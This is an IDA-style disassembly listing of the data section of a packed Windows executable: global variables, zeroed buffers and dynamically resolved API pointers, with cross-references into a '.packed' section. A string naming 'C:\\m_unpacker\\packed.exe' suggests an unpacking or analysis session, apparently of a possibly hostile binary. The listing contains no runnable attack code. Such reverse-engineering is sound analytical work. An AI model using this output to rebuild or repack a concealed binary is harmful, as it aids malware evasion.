dword_4E3038	dd 0CC0004h		; DATA XREF: sub_409D10+8DBw
					; sub_409D10:loc_40A609w ...
dword_4E303C	dd 77DD590Bh		; DATA XREF: sub_401000+2Ar
					; sub_409D10+28Bw ...
dword_4E3040	dd 71ABD755h		; DATA XREF: sub_401C87+79EFr
					; sub_409D10+69Fw ...
dword_4E3044	dd 77DF7311h		; DATA XREF: sub_409D10+32Dw
					; sub_409D10+341r ...
dword_4E3048	dd 77DDA2AFh		; DATA XREF: sub_409D10+3B3w
					; sub_409D10+3EFr ...
dword_4E304C	dd 1F7CD927h		; DATA XREF: sub_409D10+C01w
					; sub_409D10+C37r
dword_4E3050	dd 76206853h		; DATA XREF: sub_409D10+818w
					; sub_409D10+888r ...
dword_4E3054	dd 77D4932Ch		; DATA XREF: sub_409D10+206w
					; sub_409D10+227r ...
dword_4E3058	dd 77D5E310h		; DATA XREF: sub_409D10+18Cw
					; sub_409D10+1D2r ...
dword_4E305C	dd 76206B7Fh		; DATA XREF: sub_409D10+832w
					; sub_409D10+898r ...
dword_4E3060	dd 71AB1444h		; DATA XREF: sub_409D10+624w
					; sub_409D10+774r ...
dword_4E3064	dd 77DD189Ah		; DATA XREF: sub_401000+5Er
					; sub_409D10+2BFw ...
dword_4E3068	dd 71AB3F8Dh		; DATA XREF: sub_409D10+66Bw
					; sub_409D10+79Cr ...
dword_4E306C	dd 77DD5D20h		; DATA XREF: sub_409D10+320w
					; sub_409D10+334r ...
dword_4E3070	dd 71AB1890h		; DATA XREF: sub_409D10+644w
					; sub_409D10+784r ...
dword_4E3074	dd 77C76B34h		; DATA XREF: sub_409D10+44Cw
					; sub_409D10+4AEr ...
dword_4E3078	dd 77D5E38Ch		; DATA XREF: sub_409D10+199w
					; sub_409D10+1DAr ...
dword_4E307C	dd 77DDA20Bh		; DATA XREF: sub_409D10+365w
					; sub_409D10+3BAr ...
dword_4E3080	dd 76F36EEBh		; DATA XREF: sub_409D10+AA2w
dword_4E3084	dd 71AB12A7h		; DATA XREF: sub_409D10+5DCw
					; sub_409D10+748r ...
dword_4E3088	dd 71AB1746h		; DATA XREF: sub_4019A5+3Er
					; sub_401C87+51D9r ...
dword_4E308C	dd 77EBA595h		; DATA XREF: sub_409D10+4Bw
					; sub_409D10+C2r ...
dword_4E3090	dd 77C7531Dh		; DATA XREF: sub_409D10+473w
					; sub_409D10+4CBr ...
dword_4E3094	dd 77D4BDCAh		; DATA XREF: sub_409D10+165w
					; sub_409D10+1BAr ...
dword_4E3098	dd 71C3516Ah		; DATA XREF: sub_409D10+9FFw
					; sub_409D10+A5Br ...
dword_4E309C	dd 71AB32CAh		; DATA XREF: sub_409D10+685w
					; sub_409D10+7ACr ...
dword_4E30A0	dd 71AB5690h		; DATA XREF: sub_401B0B+D1r
					; sub_401C87+523Cr ...
dword_4E30A4	dd 1F7CB8F8h		; DATA XREF: sub_409D10+C1Bw
					; sub_409D10+C47r
dword_4E30A8	dd 77EBB1E7h		; DATA XREF: sub_409D10+3Ew
					; sub_409D10+BAr ...
dword_4E30AC	dd 77DD59F0h		; DATA XREF: sub_401000+49r
					; sub_409D10+298w ...
dword_4E30B0	dd 71AB5DE2h		; DATA XREF: sub_409D10+651w
					; sub_409D10+78Cr ...
dword_4E30B4	dd 71AB3ECEh		; DATA XREF: sub_409D10+637w
					; sub_409D10+77Cr ...
dword_4E30B8	dd 73B81B0Fh		; DATA XREF: sub_401C87+7411r
					; sub_409D10+C92w
dword_4E30BC	dd 76204E4Dh		; DATA XREF: sub_409D10+879w
					; sub_416D68+4C9r ...
dword_4E30C0	dd 0			; DATA XREF: sub_409D10+112w
dword_4E30C4	dd 1F7D886Ah		; DATA XREF: sub_409D10+BE7w
					; sub_409D10+C22r
dword_4E30C8	dd 71AB12F8h		; DATA XREF: sub_401C87+2FE8r
					; sub_401C87+604Er ...
dword_4E30CC	dd 77C76551h		; DATA XREF: sub_409D10+459w
					; sub_409D10+4BBr ...
dword_4E30D0	dd 77C729E2h		; DATA XREF: sub_409D10+49Aw
					; sub_409D10+4E3r ...
dword_4E30D4	dd 77C7212Fh		; DATA XREF: sub_409D10+466w
					; sub_409D10+4C3r ...
dword_4E30D8	dd 71AB1AF4h		; DATA XREF: sub_401B0B+89r
					; sub_401C87+5259r ...
dword_4E30DC	dd 77D5E303h		; DATA XREF: sub_409D10+1A6w
					; sub_409D10+1E2r ...
dword_4E30E0	dd 71C4576Ch		; DATA XREF: sub_409D10+9F2w
					; sub_409D10+A53r ...
dword_4E30E4	dd 77D4702Fh		; DATA XREF: sub_409D10+158w
					; sub_409D10+1ADr ...
dword_4E30E8	dd 77E6C0E3h		; DATA XREF: sub_409D10+8Cw
					; sub_409D10+E2r ...
dword_4E30EC	dd 71AB1ED3h		; DATA XREF: sub_409D10+610w
					; sub_409D10+764r ...
dword_4E30F0	dd 71B2A381h		; DATA XREF: sub_409D10+B43w
					; sub_409D10+B5Fr
dword_4E30F4	dd 77DDA595h		; DATA XREF: sub_409D10+33Aw
					; sub_41A2C9+55r
dword_4E30F8	dd 77DD22EAh		; DATA XREF: sub_409D10+27Ew
					; sub_409D10+2D3r ...
dword_4E30FC	dd 773F97B0h		; DATA XREF: sub_409D10+BAAw
dword_4E3100	dd 76D67A29h		; DATA XREF: sub_409D10+AECw
					; sub_40ADC9+D4r
dword_4E3104	dd 76D674FAh		; DATA XREF: sub_409D10+ADFw
					; sub_409D10+AE6r ...
dword_4E3108	dd 71AB3C22h		; DATA XREF: sub_4019A5+A6r
					; sub_401C87+51B8r ...
dword_4E310C	dd 71AB2BBFh		; DATA XREF: sub_401C87+51AAr
					; sub_401C87+7A13r ...
dword_4E3110	dd 1F7BA3A9h		; DATA XREF: sub_409D10+BF4w
					; sub_409D10+C2Fr
dword_4E3114	dd 71AB401Ch		; DATA XREF: sub_401C87+1E03r
					; sub_401C87+5BABr ...
dword_4E3118	dd 71C214BAh		; DATA XREF: sub_409D10+9B1w
					; sub_409D10+A2Br ...
dword_4E311C	dd 71AB868Dh		; DATA XREF: sub_409D10+65Ew
					; sub_409D10+794r ...
dword_4E3120	dd 71AB1A6Dh		; DATA XREF: sub_401300+12r
					; sub_4019A5+D0r ...
dword_4E3124	dd 71AB155Ah		; DATA XREF: sub_409D10+59Bw
					; sub_409D10+70Cr ...
dword_4E3128	dd 71B22C25h		; DATA XREF: sub_409D10+B36w
					; sub_409D10+B57r
dword_4E312C	dd 71AB5A01h		; DATA XREF: sub_409D10+540w
					; sub_409D10+6C4r ...
dword_4E3130	dd 71B2ACCBh		; DATA XREF: sub_409D10+B29w
					; sub_409D10+B4Ar
dword_4E3134	dd 77E78C17h		; DATA XREF: sub_401404+52r
					; sub_409D10+31w ...
dword_4E3138	dd 77D49A11h		; DATA XREF: sub_409D10+17Fw
					; sub_409D10+1CAr ...
dword_4E313C	dd 76D62A37h		; DATA XREF: sub_409D10+927w
					; sub_409D10+93Br ...
dword_4E3140	dd 77E6CBF9h		; DATA XREF: sub_409D10+99w
					; sub_409D10+EAr ...
dword_4E3144	dd 0			; DATA XREF: sub_409D10:loc_409E0Ew
					; sub_409D10+12Bw ...
dword_4E3148	dd 0			; DATA XREF: sub_409D10+126w
					; sub_40A9CC+1Cr
dword_4E314C	dd 0			; DATA XREF: sub_409D10:loc_409EFEw
					; sub_409D10:loc_409F65w ...
dword_4E3150	dd 0			; DATA XREF: sub_409D10+250w
					; sub_40A9CC+50r
dword_4E3154	dd 0			; DATA XREF: sub_401404+337r
					; sub_401C87+4547r ...
dword_4E3158	dd 0			; DATA XREF: sub_409D10+41Ew
					; sub_40A9CC+84r
dword_4E315C	dd 0			; DATA XREF: sub_409D10:loc_40A214w
					; sub_40A9CC:loc_40AA7Cr
dword_4E3160	dd 0			; DATA XREF: sub_409D10+4FFw
					; sub_40A9CC+B8r
dword_4E3164	dd 0			; DATA XREF: sub_409D10:loc_40A4E5w
					; sub_40A9CC:loc_40AAB0r
dword_4E3168	dd 0			; DATA XREF: sub_409D10+7D0w
					; sub_40A9CC+ECr
dword_4E316C	dd 0			; DATA XREF: sub_409D10:loc_40A5D0w
					; sub_409D10+8EFw ...
dword_4E3170	dd 0			; DATA XREF: sub_409D10+8EAw
					; sub_40A9CC+120r
dword_4E3174	dd 0			; DATA XREF: sub_401C87:loc_407172r
					; sub_409D10:loc_40A664w ...
dword_4E3178	dd 0			; DATA XREF: sub_409D10+94Fw
					; sub_40A9CC+154r
dword_4E317C	dd 0			; DATA XREF: sub_401C87+454Fr
					; sub_409D10:loc_40A780w ...
dword_4E3180	dd 0			; DATA XREF: sub_409D10+A6Bw
					; sub_40A9CC+188r
dword_4E3184	dd 0			; DATA XREF: sub_409D10:loc_40A7CAw
					; sub_40A9CC:loc_40AB80r
dword_4E3188	dd 0			; DATA XREF: sub_409D10+AB5w
					; sub_40A9CC+1BCr
dword_4E318C	dd 0			; DATA XREF: sub_409D10:loc_40A814w
					; sub_40A9CC:loc_40ABB4r
dword_4E3190	dd 0			; DATA XREF: sub_409D10+AFFw
					; sub_40A9CC+1F0r
dword_4E3194	dd 0			; DATA XREF: sub_409D10:loc_40A888w
					; sub_40A9CC:loc_40ABE8r
dword_4E3198	dd 0			; DATA XREF: sub_409D10+B73w
					; sub_40A9CC+224r
dword_4E319C	dd 0			; DATA XREF: sub_409D10:loc_40A8D2w
					; sub_40A9CC:loc_40AC1Cr
dword_4E31A0	dd 0			; DATA XREF: sub_409D10+BBDw
					; sub_40A9CC+258r
dword_4E31A4	dd 0			; DATA XREF: sub_409D10:loc_40A970w
					; sub_40A9CC:loc_40AC50r
dword_4E31A8	dd 0			; DATA XREF: sub_409D10+C5Bw
					; sub_40A9CC+28Cr
dword_4E31AC	dd 0			; DATA XREF: sub_409D10:loc_40A9BAw
					; sub_40A9CC:loc_40AC84r
dword_4E31B0	dd 0			; DATA XREF: sub_409D10+CA5w
					; sub_40A9CC+2C0r
dword_4E31B4	dd 4 dup(0)		; DATA XREF: sub_40AEAD+32o
dword_4E31C4	dd 0			; DATA XREF: .packed:0040AD08o
byte_4E31C8	db 0			; DATA XREF: .packed:0040B1EFo
byte_4E31C9	db 0			; DATA XREF: sub_40B2E7+33o
word_4E31CA	dw 0			; DATA XREF: sub_40B2E7+63o
byte_4E31CC	db 0			; DATA XREF: sub_40B590+64r
					; sub_40B590+92w
		align 10h
dword_4E31D0	dd 0			; DATA XREF: sub_40BFD2+18r
					; sub_40C575+92w ...
dword_4E31D4	dd 0			; DATA XREF: sub_40C87D+1F7r
					; sub_40CA91+D9w ...
		dd 3DAh	dup(0)
		db 3 dup(0)
byte_4E4143	db 0			; DATA XREF: .packed:0045486Co
		dd 2 dup(0)
dword_4E414C	dd 0			; DATA XREF: .packed:off_451774o
dword_4E4150	dd 1BCh	dup(0)		; DATA XREF: .packed:00454948o
		db 3 dup(0)
byte_4E4843	db 0			; DATA XREF: .packed:00454B3Co
					; .packed:00454B7Co ...
		dd 40h dup(0)
		db 2 dup(0)
word_4E4946	dw 0			; DATA XREF: .packed:004546ACo
					; .packed:004546B4o
		dd 222h	dup(0)
dword_4E51D0	dd 6 dup(0)		; DATA XREF: sub_40C87D+C0o
					; sub_40C87D+129o ...
dword_4E51E8	dd 0			; DATA XREF: sub_40C049+2B7w
					; sub_40C049+34Do
dword_4E51EC	dd 0			; DATA XREF: sub_40C049+343w
					; sub_40C049+35Fr
dword_4E51F0	dd 0			; DATA XREF: sub_40C049+2C2w
dword_4E51F4	dd 0			; DATA XREF: sub_40C049+2ACw
					; sub_40C049+320r
dword_4E51F8	dd 20h dup(0)		; DATA XREF: sub_40C049+2D5o
					; sub_40C049+307o
dword_4E5278	dd 0			; DATA XREF: sub_40C049+2C8w
dword_4E527C	dd 0			; DATA XREF: sub_40C049+2DFw
					; sub_40C049+311w
dword_4E5280	dd 0			; DATA XREF: sub_40C049:loc_40C4E2r
		align 8
dword_4E5288	dd 0			; DATA XREF: sub_40C049+82w
					; sub_40C049+FEo
dword_4E528C	dd 2Eh dup(0)		; DATA XREF: sub_40C049+41o
		db 0
byte_4E5345	db 3 dup(0)		; DATA XREF: .packed:00454838o
		dd 12h dup(0)
dword_4E5390	dd 41h dup(0)		; DATA XREF: sub_40C049+69o
dword_4E5494	dd 0			; DATA XREF: sub_40C049+F4w
					; sub_40C049+110r
dword_4E5498	dd 0			; DATA XREF: sub_40C049+52w
dword_4E549C	dd 0			; DATA XREF: sub_40C049+4Dw
					; sub_40C049+D1r
dword_4E54A0	dd 20h dup(0)		; DATA XREF: sub_40C049+9Ao
					; sub_40C049+B7o
dword_4E5520	dd 0			; DATA XREF: sub_40C049+8Fw
dword_4E5524	dd 0			; DATA XREF: sub_40C049+A4w
					; sub_40C049+C1w
dword_4E5528	dd 0			; DATA XREF: sub_40C049:loc_40C214r
		align 10h
dword_4E5530	dd 0			; DATA XREF: sub_40C049+194w
					; sub_40C049+226o
dword_4E5534	dd 41h dup(0)		; DATA XREF: sub_40C049+156o
dword_4E5638	dd 41h dup(0)		; DATA XREF: sub_40C049+17Bo
dword_4E573C	dd 0			; DATA XREF: sub_40C049+21Cw
					; sub_40C049+238r
dword_4E5740	dd 0			; DATA XREF: sub_40C049+169w
dword_4E5744	dd 0			; DATA XREF: sub_40C049+164w
					; sub_40C049+1F9r
dword_4E5748	dd 20h dup(0)		; DATA XREF: sub_40C049+1ADo
					; sub_40C049+1DFo
dword_4E57C8	dd 0			; DATA XREF: sub_40C049+1A0w
dword_4E57CC	dd 0			; DATA XREF: sub_40C049+1B7w
					; sub_40C049+1E9w
dword_4E57D0	dd 0			; DATA XREF: sub_40C049:loc_40C33Cr
		align 8
dword_4E57D8	dd 0			; DATA XREF: sub_40C049+40Ew
					; sub_40C049+467o
dword_4E57DC	dd 0A2h	dup(0)		; DATA XREF: sub_40C049+3FCo
dword_4E5A64	dd 41h dup(0)		; DATA XREF: sub_40C049+3C6o
dword_4E5B68	dd 0			; DATA XREF: sub_40C049+3F3w
					; sub_40C049+41Ar
		align 10h
dword_4E5B70	dd 0			; DATA XREF: sub_40C049+45Dw
					; sub_40C049+479r
dword_4E5B74	dd 0			; DATA XREF: sub_40C049+420w
dword_4E5B78	dd 0			; DATA XREF: sub_40C049+42Dw
dword_4E5B7C	dd 0			; DATA XREF: sub_40C049+3EDw
		dd 0
dword_4E5B84	dd 0			; DATA XREF: sub_40C049:loc_40C4F7r
dword_4E5B88	dd 0			; DATA XREF: sub_40BC9B+Er
					; sub_40BC9B+31r ...
dword_4E5B8C	dd 0			; DATA XREF: sub_40BC9B+9r
					; sub_40BC9B+25r ...
dword_4E5B90	dd 80h dup(0)		; DATA XREF: sub_40CCE8+8Do
dword_4E5D90	dd 2 dup(0)		; DATA XREF: sub_40D667+68o
byte_4E5D98	db 2 dup(0)		; DATA XREF: sub_40D117+13o
word_4E5D9A	dw 0			; DATA XREF: sub_40D95B+10o
dword_4E5D9C	dd 2080Ah		; DATA XREF: sub_40E19F+8w
					; sub_40E29B+2CCo
byte_4E5DA0	db 0			; DATA XREF: sub_40E29B+64o
byte_4E5DA1	db 3 dup(0)		; DATA XREF: sub_40E29B+69o
dword_4E5DA4	dd 2 dup(0)		; DATA XREF: sub_40E29B+1FBo
dword_4E5DAC	dd 0			; DATA XREF: .packed:0040EC69o
dword_4E5DB0	dd 0			; DATA XREF: sub_40EE18+1Fr
					; sub_40EE63+BCo ...
dword_4E5DB4	dd 0			; DATA XREF: sub_40EE63+B7o
					; sub_40EE63+DAr ...
dword_4E5DB8	dd 0			; DATA XREF: sub_40EE63+9Ao
					; sub_40EE63+CFr ...
dword_4E5DBC	dd 0			; DATA XREF: sub_40EDD5+35r
					; sub_40EE63+95o ...
dword_4E5DC0	dd 0			; DATA XREF: sub_40EDD5+17r
					; sub_40EE18+3Dr ...
dword_4E5DC4	dd 0BB5Fh		; DATA XREF: sub_40C049+2A1r
					; sub_40F038+10w ...
dword_4E5DC8	dd 0			; DATA XREF: sub_40BD06+1Br
					; sub_40F04F+27Cw
dword_4E5DCC	dd 0			; DATA XREF: sub_40F909+2Aw
					; sub_40F909+51r ...
dword_4E5DD0	dd 2 dup(0)		; DATA XREF: sub_4109F3+74o
dword_4E5DD8	dd 0			; DATA XREF: sub_4110D4+146r
		align 10h
dword_4E5DE0	dd 0			; DATA XREF: sub_4110D4+139o
byte_4E5DE4	db 0			; DATA XREF: sub_41206F+1EFr
		align 4
dword_4E5DE8	dd 0			; DATA XREF: sub_412C10+4w
					; sub_412C10+9o
		align 10h
byte_4E5DF0	db 0			; DATA XREF: sub_413740+1C1w
					; sub_413740+2C0o
		align 2
word_4E5DF2	dw 0			; DATA XREF: sub_413740+1D1w
word_4E5DF4	dw 0			; DATA XREF: sub_413740+1D7w
word_4E5DF6	dw 0			; DATA XREF: sub_413740+1DEw
byte_4E5DF8	db 0			; DATA XREF: sub_413740+1E5w
byte_4E5DF9	db 0			; DATA XREF: sub_413740+1ECw
word_4E5DFA	dw 0			; DATA XREF: sub_413740+1F2w
dword_4E5DFC	dd 0			; DATA XREF: sub_413740+220w
					; sub_413740+23Ew
dword_4E5E00	dd 0			; DATA XREF: sub_413740+246w
byte_4E5E04	db 0			; DATA XREF: sub_413740+258w
byte_4E5E05	db 0			; DATA XREF: sub_413740+26Bw
word_4E5E06	dw 0			; DATA XREF: sub_413740+283w
word_4E5E08	dw 0			; DATA XREF: sub_413740+292w
word_4E5E0A	dw 0			; DATA XREF: sub_413740+28Aw
dword_4E5E0C	dd 101h	dup(0)		; DATA XREF: sub_413740+2A7o
dword_4E6210	dd 80h dup(0)		; DATA XREF: sub_401C87+2F5Eo
					; sub_401C87:loc_404C94o ...
byte_4E6410	db 0			; DATA XREF: sub_414FC9+19Fw
					; sub_414FC9+278o
		align 2
word_4E6412	dw 0			; DATA XREF: sub_414FC9+1ACw
word_4E6414	dw 0			; DATA XREF: sub_414FC9+1B6w
word_4E6416	dw 0			; DATA XREF: sub_414FC9+1BFw
byte_4E6418	db 0			; DATA XREF: sub_414FC9+1C6w
byte_4E6419	db 0			; DATA XREF: sub_414FC9+1CDw
word_4E641A	dw 0			; DATA XREF: sub_414FC9+1D4w
dword_4E641C	dd 0			; DATA XREF: sub_414FC9+1E1w
dword_4E6420	dd 0			; DATA XREF: sub_414FC9+1E9w
word_4E6424	dw 0			; DATA XREF: sub_414FC9+242w
word_4E6426	dw 0			; DATA XREF: sub_414FC9+22Aw
word_4E6428	dw 0			; DATA XREF: sub_414FC9+254w
word_4E642A	dw 0			; DATA XREF: sub_414FC9+1F5w
dword_4E642C	dd 100h	dup(0)		; DATA XREF: sub_414FC9+263o
dword_4E682C	dd 0			; DATA XREF: sub_401C87+19D4w
					; sub_401C87+2F56r ...
		dd 0
byte_4E6834	db 0			; DATA XREF: sub_4154BB+237o
					; sub_4154BB+246w ...
byte_4E6835	db 0			; DATA XREF: sub_4154BB+25Aw
word_4E6836	dw 0			; DATA XREF: sub_4154BB+28Bw
word_4E6838	dw 0			; DATA XREF: sub_4154BB+272w
					; sub_4154BB:loc_415872w
word_4E683A	dw 0			; DATA XREF: sub_4154BB+291w
byte_4E683C	db 0			; DATA XREF: sub_4154BB+27Ew
byte_4E683D	db 0			; DATA XREF: sub_4154BB+253w
word_4E683E	dw 0			; DATA XREF: sub_4154BB+3D7w
					; sub_4154BB+401w
dword_4E6840	dd 0			; DATA XREF: sub_4154BB:loc_41576Bw
					; sub_4154BB+381r
dword_4E6844	dd 0			; DATA XREF: sub_4154BB+2BDw
word_4E6848	dw 0			; DATA XREF: sub_4154BB+37Bw
					; sub_4154BB+3CDo
word_4E684A	dw 0			; DATA XREF: sub_4154BB+31Cw
					; sub_4154BB+341r ...
dword_4E684C	dd 0			; DATA XREF: sub_4154BB+2F3w
					; sub_4154BB+3BEw
dword_4E6850	dd 0			; DATA XREF: sub_4154BB+30Fw
					; sub_4154BB+392w ...
byte_4E6854	db 0			; DATA XREF: sub_4154BB+2F8r
					; sub_4154BB+306w
byte_4E6855	db 0			; DATA XREF: sub_4154BB+2C2w
					; sub_4154BB+38Bw ...
word_4E6856	dw 0			; DATA XREF: sub_4154BB+2D0w
word_4E6858	dw 0			; DATA XREF: sub_4154BB+3DEw
					; sub_4154BB+40Fw
word_4E685A	dw 0			; DATA XREF: sub_4154BB+315w
word_4E685C	dw 0			; DATA XREF: sub_4154BB+347w
					; sub_4154BB+417o
word_4E685E	dw 0			; DATA XREF: sub_4154BB+356w
					; sub_4154BB+3EEw
dword_4E6860	dd 0			; DATA XREF: sub_4154BB+350w
		dd 2 dup(0)
dword_4E686C	dd 0			; DATA XREF: sub_4154BB+386w
					; sub_4154BB+3FCo
dword_4E6870	dd 0			; DATA XREF: sub_4154BB+322w
byte_4E6874	db 0			; DATA XREF: sub_4154BB+328w
byte_4E6875	db 0			; DATA XREF: sub_4154BB+32Ew
word_4E6876	dw 0			; DATA XREF: sub_4154BB+33Bw
dword_4E6878	dd 6 dup(0)		; DATA XREF: sub_4154BB+3D2o
dword_4E6890	dd 0			; DATA XREF: sub_4154BB+30w
					; sub_4154BB+420r
		align 8
dword_4E6898	dd 100h	dup(0)		; DATA XREF: sub_4154BB+1BBo
					; sub_4154BB+463o
dword_4E6C98	dd 1000h dup(0)		; DATA XREF: sub_415A3C+1Do
					; .packed:00415B26o ...
dword_4EAC98	dd 0			; DATA XREF: sub_415A3C+13o
					; .packed:00415B6Do ...
		dd 6 dup(0)
dword_4EACB4	dd 0			; DATA XREF: sub_4165C7:loc_41665Ao
dword_4EACB8	dd 0			; DATA XREF: sub_416D68+438o
dword_4EACBC	dd 0Dh dup(0)		; DATA XREF: sub_41727E+Fo
dword_4EACF0	dd 80h dup(0)		; DATA XREF: sub_417F2F+41o
dword_4EAEF0	dd 200h	dup(0)		; DATA XREF: sub_41786C+C7o
					; sub_417BC7+DDo ...
dword_4EB6F0	dd 200h	dup(0)		; DATA XREF: sub_41786C+D6o
					; sub_417BC7+F4o ...
dword_4EBEF0	dd 0			; DATA XREF: sub_41786C+86w
					; sub_417A3E+94r
dword_4EBEF4	dd 0			; DATA XREF: sub_41786C+A7w
					; sub_417E98+55r ...
dword_4EBEF8	dd 0			; DATA XREF: sub_41786C+A0w
					; sub_417A3E+D6r ...
dword_4EBEFC	dd 0			; DATA XREF: sub_41786C+79w
					; sub_417A3E+35r ...
dword_4EBF00	dd 80h dup(0)		; DATA XREF: sub_417E98+5Eo
dword_4EC100	dd 0			; DATA XREF: sub_41786C+93w
					; sub_417A3E+A2r
dword_4EC104	dd 0			; DATA XREF: sub_41786C+E7o
					; sub_41786C+103r ...
dword_4EC108	dd 0			; DATA XREF: sub_417BC7+178w
					; sub_417D6B+107w
dword_4EC10C	dd 0			; DATA XREF: sub_417BC7+17Dw
					; sub_417D6B+10Dw ...
dword_4EC110	dd 0			; DATA XREF: sub_417BC7+156w
					; sub_417E98+4Fr
		align 8
dword_4EC118	dd 0			; DATA XREF: sub_41820B+29w
					; sub_41820B:loc_41838Aw ...
dword_4EC11C	dd 0			; DATA XREF: sub_401C87+3CA2o
					; sub_4180CE+12o ...
		dd 0
dword_4EC124	dd 0			; DATA XREF: sub_41820B+21r
					; sub_4183AA+3Ar
		dd 7Fh dup(0)
dword_4EC324	dd 0			; DATA XREF: sub_41820B+1Br
					; sub_4183AA+4Aw
		dd 1944h dup(0)
byte_4F2838	db 0			; DATA XREF: sub_4183AA+23o
					; .packed:0044FA9Co
byte_4F2839	db 0			; DATA XREF: .packed:0044FAA0o
byte_4F283A	db 0			; DATA XREF: .packed:0044FAA8o
byte_4F283B	db 0			; DATA XREF: .packed:0044FAACo
byte_4F283C	db 0			; DATA XREF: sub_401C87+3CC0o
					; sub_4180CE+3Co ...
byte_4F283D	db 0			; DATA XREF: .packed:0044FAB4o
byte_4F283E	db 0			; DATA XREF: .packed:0044FAD0o
byte_4F283F	db 0			; DATA XREF: .packed:0044FAD8o
byte_4F2840	db 0			; DATA XREF: .packed:0044FADCo
byte_4F2841	db 0			; DATA XREF: .packed:0044FAE8o
byte_4F2842	db 0			; DATA XREF: .packed:0044FAECo
byte_4F2843	db 0			; DATA XREF: .packed:0044FAF4o
		align 8
dword_4F2848	dd 80h dup(0)		; DATA XREF: sub_418C20+6Ao
dword_4F2A48	dd 2 dup(0)		; DATA XREF: sub_418EAE+E9o
dword_4F2A50	dd 18h dup(0)		; DATA XREF: sub_419479:loc_419596o
					; sub_419479+131o ...
dword_4F2AB0	dd 80h dup(0)		; DATA XREF: sub_41A20B+7Co
					; sub_41A20B+A5o
dword_4F2CB0	dd 0			; DATA XREF: sub_4197F6+45w
					; sub_4197F6+4Dr ...
		align 8
dword_4F2CB8	dd 18h dup(0)		; DATA XREF: sub_41A0D7:loc_41A1F9o
					; sub_41A0D7+12Do
dword_4F2D18	dd 80h dup(0)		; DATA XREF: sub_419737+4Bo
					; sub_419737+7Do ...
byte_4F2F18	db 0			; DATA XREF: sub_4197F6+29r
					; sub_4197F6+34w
		align 10h
dword_4F2F20	dd 80h dup(0)		; DATA XREF: sub_419A4D+61o
					; sub_419A4D+88o ...
dword_4F3120	dd 80h dup(0)		; DATA XREF: sub_419350+33o
					; sub_419350+50o ...
dword_4F3320	dd 0			; DATA XREF: sub_41A6A9:loc_41A6CAr
					; sub_41A798+54r ...
dword_4F3324	dd 0			; DATA XREF: sub_41A6A9r
					; sub_41A798+37r ...
dword_4F3328	dd 0			; DATA XREF: sub_41A6D9+1Ar
					; sub_41A8ED+83o
dword_4F332C	dd 0			; DATA XREF: sub_41A6A9:loc_41A6BDr
					; sub_41A8ED+11Bw
dword_4F3330	dd 0Dh dup(0)		; DATA XREF: sub_41A798+13o
					; sub_41A8ED:loc_41AA2Eo
dword_4F3364	dd 0			; DATA XREF: sub_41A798+CDr
					; sub_41A798+ECr ...
byte_4F3368	db 0			; DATA XREF: sub_41A711+9o
byte_4F3369	db 0			; DATA XREF: sub_41A8ED+DFo
word_4F336A	dw 0			; DATA XREF: sub_41A8ED:loc_41AA29o
dword_4F336C	dd 0Ch dup(0)		; DATA XREF: sub_41B51B+3Eo
		db 2 dup(0)
word_4F339E	dw 0			; DATA XREF: sub_41B6C1+13o
dword_4F33A0	dd 981E90h		; DATA XREF: sub_41BF80+262w
					; sub_41C3F0:loc_41C82Br ...
dword_4F33A4	dd 1545h		; DATA XREF: sub_41BF80:loc_41C193r
					; sub_41BF80+21Cw ...
dword_4F33A8	dd 983230h		; DATA XREF: sub_41BF80:loc_41C1C9r
					; sub_41BF80+252r ...
dword_4F33AC	dd 118Ah		; DATA XREF: sub_41BF80+222r
					; sub_41BF80+22Aw ...
dword_4F33B0	dd 118Ah		; DATA XREF: sub_41BF80+235r
					; sub_41BF80+243w ...
dword_4F33B4	dd 0			; DATA XREF: sub_4314E0+217r
dword_4F33B8	dd 0A28h		; DATA XREF: sub_41D6B0:loc_41D71Ar
					; sub_41D6B0:loc_41D78Dr ...
dword_4F33BC	dd 501h			; DATA XREF: sub_422100+64w
dword_4F33C0	dd 5			; DATA XREF: sub_422100+4Fw
					; sub_422100+55r
dword_4F33C4	dd 1			; DATA XREF: sub_422100+3Ew
					; sub_422100+5Er
dword_4F33C8	dd 1			; DATA XREF: sub_401404:loc_4016E7r
					; sub_42F3E0+C6w
dword_4F33CC	dd 982840h		; DATA XREF: sub_401404+2ECr
					; sub_401404+30Cr ...
		dd 0
dword_4F33D4	dd 982888h		; DATA XREF: sub_42F290+7Bw
					; sub_42F290+81r ...
dword_4F33D8	dd 0			; DATA XREF: sub_439F20+49r
dword_4F33DC	dd 0			; DATA XREF: sub_4374C0+24r
					; sub_4396D0+6r ...
		dd 0
off_4F33E4	dd offset aCM_unpackerPac ; DATA XREF: sub_42F3E0+26w
					; sub_42F3E0+3Cr
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4F33EC	db 0			; DATA XREF: sub_41E920+30w
					; sub_422400+8r
		align 10h
dword_4F33F0	dd 0			; DATA XREF: sub_41E920:loc_41E943w
dword_4F33F4	dd 0			; DATA XREF: sub_41E920+9r
					; sub_41E920:loc_41E9EBw
dword_4F33F8	dd 0			; DATA XREF: sub_41E920+95r
					; sub_41E920+AFw
dword_4F33FC	dd 0			; DATA XREF: .packed:004201C4r
					; .packed:004201CFw
dword_4F3400	dd 0			; DATA XREF: sub_420130+10w
		align 8
dword_4F3408	dd 0			; DATA XREF: sub_420D80+88r
					; sub_420D80+F8w
		align 10h
dword_4F3410	dd 0			; DATA XREF: sub_420D80+7Dr
					; sub_420D80+100w ...
byte_4F3414	db 2 dup(0)		; DATA XREF: sub_420D80+109w
word_4F3416	dw 0			; DATA XREF: sub_420D80+52r
dword_4F3418	dd 0			; DATA XREF: sub_420D80+3Dr
					; sub_420D80+112w ...
dword_4F341C	dd 0			; DATA XREF: sub_420D80+11Aw
dword_4F3420	dd 0			; DATA XREF: sub_422100+C3w
					; sub_42F290+1Br ...
		align 8
dword_4F3428	dd 0			; DATA XREF: sub_422270+3r
					; sub_4222A0+3r ...
dword_4F342C	dd 0			; DATA XREF: sub_4277D0:loc_427A95r
					; sub_4277D0+2CEw ...
dword_4F3430	dd 0			; DATA XREF: sub_422610+93r
					; sub_422610+C8w ...
dword_4F3434	dd 0			; DATA XREF: sub_41BE40+Ar
					; sub_41BE70+10r ...
dword_4F3438	dd 0			; DATA XREF: .packed:0042313Er
					; .packed:00423149w ...
		align 10h
dword_4F3440	dd 143F28h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .packed:off_451BB4o
dword_4F3458	dd 143EB0h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .packed:off_451BF4o
dword_4F3470	dd 143F00h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .packed:off_451BD4o
